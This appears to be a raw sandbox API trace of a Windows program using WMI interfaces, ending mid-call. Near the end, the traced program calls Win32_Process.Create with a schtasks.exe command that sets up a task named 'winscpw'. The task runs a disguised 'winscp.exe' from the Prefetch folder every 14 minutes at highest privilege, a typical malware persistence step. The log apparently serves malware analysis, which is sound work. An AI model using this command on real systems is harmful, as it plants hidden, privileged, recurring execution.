WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd800, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0079.636] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bfbd740) returned 0x0 [0079.636] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbd800, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0079.636] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bfbd800, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0079.636] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bfbd800, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0079.636] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bfbd740, uIndex=0x0, pszName="ROOT") returned 0x0 [0079.636] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bfbd800, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0079.637] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bfbd800, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0079.637] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bfbd740, uIndex=0x1, pszName="CIMV2") returned 0x0 [0079.637] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bfbd740, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0079.637] WbemDefPath:IWbemPath:SetClassName (This=0x1bfbd740, Name="Win32_Process") returned 0x0 [0079.637] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bfbd740, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0079.637] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbd740, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0079.637] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd740, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0079.637] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd740, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0079.637] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bfbd740, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0079.637] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbd740, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0079.637] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd740, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0079.637] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd740, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0079.637] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbd500, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0079.637] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd500, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0079.637] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd500, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0079.637] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd740, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0079.637] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd740, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0079.637] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0079.638] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0079.638] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0079.638] IUnknown:Release (This=0x111f638) returned 0x1 [0079.640] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x1c0023a0) returned 0x0 [0079.640] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0023a0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0079.640] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c0023a0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1bfbd8c0) returned 0x0 [0079.640] WbemDefPath:IUnknown:Release (This=0x1c0023a0) returned 0x0 [0079.640] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd8c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1bfbd8c0) returned 0x0 [0079.640] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd8c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0079.640] WbemDefPath:IUnknown:AddRef (This=0x1bfbd8c0) returned 0x3 [0079.641] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd8c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0079.641] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd8c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0079.641] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd8c0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x1c0023e0) returned 0x0 [0079.641] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c0023e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0079.641] WbemDefPath:IUnknown:Release (This=0x1c0023e0) returned 0x3 [0079.641] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0079.641] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0079.641] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd8c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0079.641] WbemDefPath:IUnknown:Release (This=0x1bfbd8c0) returned 0x2 [0079.641] WbemDefPath:IUnknown:Release (This=0x1bfbd8c0) returned 0x1 [0079.641] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0079.641] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0079.641] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd8c0, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1bfbd8c0) returned 0x0 [0079.641] WbemDefPath:IUnknown:AddRef (This=0x1bfbd8c0) returned 0x3 [0079.641] WbemDefPath:IUnknown:Release (This=0x1bfbd8c0) returned 0x2 [0079.641] WbemDefPath:IWbemPath:SetText (This=0x1bfbd8c0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0079.641] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbd500, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0079.641] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd500, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0079.642] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd500, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0079.642] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0079.642] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0079.642] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0079.642] IUnknown:Release (This=0x111f638) returned 0x1 [0079.644] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1c002420) returned 0x0 [0079.644] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c002420, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0079.644] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c002420, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1bfbd980) returned 0x0 [0079.644] WbemDefPath:IUnknown:Release (This=0x1c002420) returned 0x0 [0079.644] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd980, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1bfbd980) returned 0x0 [0079.644] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd980, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0079.645] WbemDefPath:IUnknown:AddRef (This=0x1bfbd980) returned 0x3 [0079.645] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd980, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0079.645] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd980, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0079.645] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd980, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1c002460) returned 0x0 [0079.645] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c002460, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0079.645] WbemDefPath:IUnknown:Release (This=0x1c002460) returned 0x3 [0079.645] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0079.645] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0079.645] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd980, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0079.645] WbemDefPath:IUnknown:Release (This=0x1bfbd980) returned 0x2 [0079.645] WbemDefPath:IUnknown:Release (This=0x1bfbd980) returned 0x1 [0079.645] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0079.645] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0079.645] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd980, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1bfbd980) returned 0x0 [0079.645] WbemDefPath:IUnknown:AddRef (This=0x1bfbd980) returned 0x3 [0079.645] WbemDefPath:IUnknown:Release (This=0x1bfbd980) returned 0x2 [0079.645] WbemDefPath:IWbemPath:SetText (This=0x1bfbd980, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0079.646] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbd8c0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0079.647] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbd980, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0079.647] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd980, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0079.647] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd980, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0079.647] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bfbd8c0) returned 0x0 [0079.647] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbd980, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0079.647] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bfbd980, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0079.647] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bfbd980, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0079.647] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bfbd8c0, uIndex=0x0, pszName="root") returned 0x0 [0079.647] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bfbd980, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0079.647] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bfbd980, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0079.647] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bfbd8c0, uIndex=0x1, pszName="cimv2") returned 0x0 [0079.647] WbemDefPath:IWbemPath:GetServer (in: This=0x1bfbd980, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0079.647] WbemDefPath:IWbemPath:GetServer (in: This=0x1bfbd980, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0079.648] WbemDefPath:IWbemPath:GetServer (in: This=0x1bfbd8c0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0079.648] WbemDefPath:IWbemPath:GetServer (in: This=0x1bfbd8c0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0079.648] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bfbd8c0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0079.648] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbd500, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0079.648] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd500, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0079.648] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd500, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0079.648] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbd500, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0079.648] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd500, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0079.648] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd500, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0079.648] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbd8c0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0079.648] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd8c0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0079.648] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd8c0, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0079.648] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd8c0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0079.648] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd8c0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0079.649] IWbemServices:GetObject (in: This=0x1c0174e0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x1172680, ppCallResult=0x0) returned 0x0 [0079.654] IWbemClassObject:GetMethod (in: This=0x1172680, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x11729f0, ppOutSignature=0x1b2fd9e0*=0x1c028310) returned 0x0 [0079.654] IWbemClassObject:SpawnInstance (in: This=0x11729f0, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf6cf70) returned 0x0 [0079.655] IWbemClassObject:Get (in: This=0x1bf6cf70, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2aa0a68*=0, plFlavor=0x2aa0a6c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2aa0a68*=8, plFlavor=0x2aa0a6c*=32) returned 0x0 [0079.655] IWbemClassObject:Get (in: This=0x1bf6cf70, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2aa0a68*=8, plFlavor=0x2aa0a6c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2aa0a68*=8, plFlavor=0x2aa0a6c*=32) returned 0x0 [0079.655] IWbemClassObject:Put (This=0x1bf6cf70, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"winscpw\" /sc MINUTE /mo 14 /tr \"'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0079.655] IWbemClassObject:Get (in: This=0x1bf6cf70, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2aa0af8*=0, plFlavor=0x2aa0afc*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2aa0af8*=13, plFlavor=0x2aa0afc*=32) returned 0x0 [0079.655] IWbemClassObject:Get (in: This=0x1bf6cf70, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2aa0af8*=13, plFlavor=0x2aa0afc*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2aa0af8*=13, plFlavor=0x2aa0afc*=32) returned 0x0 [0079.656] IUnknown:QueryInterface (in: This=0x1171fa0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x1171fa0) returned 0x0 [0079.656] IUnknown:QueryInterface (in: This=0x1171fa0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0079.656] IUnknown:QueryInterface (in: 